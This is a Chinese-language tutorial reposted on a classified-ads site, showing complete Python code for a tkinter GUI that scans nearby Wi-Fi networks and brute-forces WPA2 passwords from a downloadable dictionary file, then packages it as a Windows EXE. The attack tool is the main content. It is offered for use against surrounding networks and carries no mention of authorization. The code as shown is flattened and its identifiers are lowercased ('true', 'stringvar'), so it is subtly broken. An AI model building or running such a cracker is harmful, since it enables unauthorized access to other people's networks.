您好,欢迎来到三六零分类信息网!老站,搜索引擎当天收录,欢迎发信息

浅析怎么用python暴力破解wifi密码EXE应用

2025/11/10 0:40:17发布47次查看
python号称是编程界的万金油,那么是否可以做个读取电脑网卡wifi并暴力破解的小脚本呢?在这个基础上为了方便体验是不是可以将其打包成exe这样方便执行的小应用呢?
说干就干~
功能点预览本文主要分享以下需求
python获取无线网卡python通过无线网卡获取wifipython暴力破解wifipython 通过实现gui图形界面python打包成exe前置准备-依赖库comtypespywifipyintaller示例:使用pycharm ide 安装pywifi
当然你也可以直接使用pip install xxx 命令进行安装
python tkinter编写gui界面本文使用tkinter实现gui界面,自己写界面比较麻烦,可以使用一些可视化的工具(比如qt5)进行快速编排实现gui代码自动化。
密码字典密码字典是什么?
简单的说就是一个提前存放一系列密码的文本,里面全是数字、数字与字母的组合、手机号、座机号、生日等等。
本文测试时你可以自己手动创建密码字典;也可以下载以下密码字典库
链接: https://pan.baidu.com/s/10v0ghki_6bkdo3g8-bvlvq 提取码: zh3m
开撸from tkinter import *from tkinter import ttkimport pywififrom pywifi import constimport timeimport tkinter.filedialog # 在gui中打开文件浏览import tkinter.messagebox # 打开tkiner的消息提醒框class my_gui(): def __init__(self, init_window_name): self.init_window_name = init_window_name # 密码文件路径 self.get_value = stringvar() # 设置可变内容 # 获取破解wifi账号 self.get_wifi_value = stringvar() # 获取wifi密码 self.get_wifimm_value = stringvar() # 抓取网卡接口 self.wifi = pywifi.pywifi() # 抓取第一个无线网卡 self.iface = self.wifi.interfaces()[0] # 测试链接断开所有链接 self.iface.disconnect() time.sleep(1) # 休眠1秒 # 测试网卡是否属于断开状态 assert self.iface.status() in \ [const.iface_disconnected, const.iface_inactive] def __str__(self): # 自动会调用的函数,返回自身的网卡 return '(wifi:%s,%s)' % (self.wifi, self.iface.name()) # 设置窗口 def set_init_window(self): self.init_window_name.title("普帝wifi破解工具") self.init_window_name.geometry('+500+200') labelframe = labelframe(width=800, height=400, text="配置") # 框架,以下对象都是对于labelframe中添加的 labelframe.grid(column=0, row=0, padx=10, pady=10) self.search = button(labelframe, text="搜索附近wifi", command=self.scans_wifi_list).grid(column=0, row=0) self.pojie = button(labelframe, text="普帝金手指", command=self.readpassword).grid(column=1, row=0) self.label = label(labelframe, text="目录路径:").grid(column=0, row=1) self.path = entry(labelframe, width=12, textvariable=self.get_value).grid(column=1, row=1) self.file = button(labelframe, text="添加密码文件目录", command=self.add_mm_file).grid(column=2, row=1) self.wifi_text = label(labelframe, text="wifi账号:").grid(column=0, row=2) self.wifi_input = entry(labelframe, width=12, textvariable=self.get_wifi_value).grid(column=1, row=2) self.wifi_mm_text = label(labelframe, text="wifi密码:").grid(column=2, row=2) self.wifi_mm_input = entry(labelframe, width=10, textvariable=self.get_wifimm_value).grid(column=3, row=2,sticky=w) self.wifi_labelframe = labelframe(text="wifi列表") self.wifi_labelframe.grid(column=0, row=3, columnspan=4, sticky=nsew) # 定义树形结构与滚动条 self.wifi_tree = ttk.treeview(self.wifi_labelframe, show="headings", columns=("a", "b", "c", "d")) self.vbar = ttk.scrollbar(self.wifi_labelframe, orient=vertical, command=self.wifi_tree.yview) self.wifi_tree.configure(yscrollcommand=self.vbar.set) # 表格的标题 self.wifi_tree.column("a", width=50, anchor="center") self.wifi_tree.column("b", width=100, anchor="center") self.wifi_tree.column("c", width=100, anchor="center") self.wifi_tree.column("d", width=100, anchor="center") self.wifi_tree.heading("a", text="wifiid") self.wifi_tree.heading("b", text="ssid") self.wifi_tree.heading("c", text="bssid") self.wifi_tree.heading("d", text="signal") self.wifi_tree.grid(row=4, column=0, sticky=nsew) self.wifi_tree.bind("<double-1>", self.ondbclick) self.vbar.grid(row=4, column=1, sticky=ns) # 搜索wifi def scans_wifi_list(self): # 扫描周围wifi列表 # 开始扫描 print("^_^ 开始扫描附近wifi...") self.iface.scan() time.sleep(15) # 在若干秒后获取扫描结果 scanres = self.iface.scan_results() # 统计附近被发现的热点数量 nums = len(scanres) print("数量: %s" % (nums)) # 实际数据 self.show_scans_wifi_list(scanres) return scanres # 显示wifi列表 def show_scans_wifi_list(self, scans_res): for index, wifi_info in enumerate(scans_res): self.wifi_tree.insert("", 'end', values=(index + 1, wifi_info.ssid, wifi_info.bssid, wifi_info.signal)) # 添加密码文件目录 def add_mm_file(self): self.filename = tkinter.filedialog.askopenfilename() self.get_value.set(self.filename) # treeview绑定事件 def ondbclick(self, event): self.sels = event.widget.selection() self.get_wifi_value.set(self.wifi_tree.item(self.sels, "values")[1]) # 读取密码字典,进行匹配 def readpassword(self): self.getfilepath = self.get_value.get() self.get_wifissid = self.get_wifi_value.get() pwdfilehander = open(self.getfilepath, "r", errors="ignore") while true: try: self.pwdstr = pwdfilehander.readline() if not self.pwdstr: break self.bool1 = self.connect(self.pwdstr, self.get_wifissid) if self.bool1: self.res = "[*] 密码正确!wifi名:%s,匹配密码:%s " % (self.get_wifissid, self.pwdstr) self.get_wifimm_value.set(self.pwdstr) tkinter.messagebox.showinfo('提示', '破解成功!!!') print(self.res) break else: self.res = "[*] 密码错误!wifi名:%s,匹配密码:%s" % (self.get_wifissid, self.pwdstr) print(self.res) time.sleep(3) except: continue # 对wifi和密码进行匹配 def connect(self, pwd_str, wifi_ssid): # 创建wifi链接文件 self.profile = pywifi.profile() self.profile.ssid = wifi_ssid # wifi名称 self.profile.auth = const.auth_alg_open # 网卡的开放 self.profile.akm.append(const.akm_type_wpa2psk) # wifi加密算法 self.profile.cipher = const.cipher_type_ccmp # 加密单元 self.profile.key = pwd_str # 密码 self.iface.remove_all_network_profiles() # 删除所有的wifi文件 self.tmp_profile = self.iface.add_network_profile(self.profile) # 设定新的链接文件 self.iface.connect(self.tmp_profile) # 链接 time.sleep(5) if self.iface.status() == const.iface_connected: # 判断是否连接上 isok = true else: isok = false self.iface.disconnect() # 断开 time.sleep(1) # 检查断开状态 assert self.iface.status() in \ [const.iface_disconnected, const.iface_inactive] return isokdef gui_start(): init_window = tk() ui = my_gui(init_window) print(ui) ui.set_init_window() init_window.mainloop()if __name__ == "__main__": gui_start()
打包成exepyinstaller -f -w -i 图标名.后缀 源文件.py
命令解释看文末解释
然后到你电脑上python安装目录下的scripts\dist查看你打包的exe应用
演示双击打包后的.exe脚本
step1: 点击搜索附件wifi
step2: 添加密码文件目录
step3: 点击普帝金手指进行破解
^_^ 开始扫描附近wifi...数量: 19[*] 密码正确!wifi名:xxxxxxxx,匹配密码:xxxxxxxx
pspyinstaller打包错误解决如出现以下错误
struct.error: unpack requires a buffer of 16 bytes
解决方法:使用在线转换ico工具来转换图片就可以了,需要转换成尺寸为16*16的
使用在线转换成ico的工具即可
pyintaller 常用打包命令解释
【相关推荐:python3视频教程 】
以上就是浅析怎么用python暴力破解wifi密码exe应用的详细内容。
该用户其它信息

VIP推荐

免费发布信息,免费发布B2B信息网站平台 - 三六零分类信息网 沪ICP备09012988号-2
企业名录 Product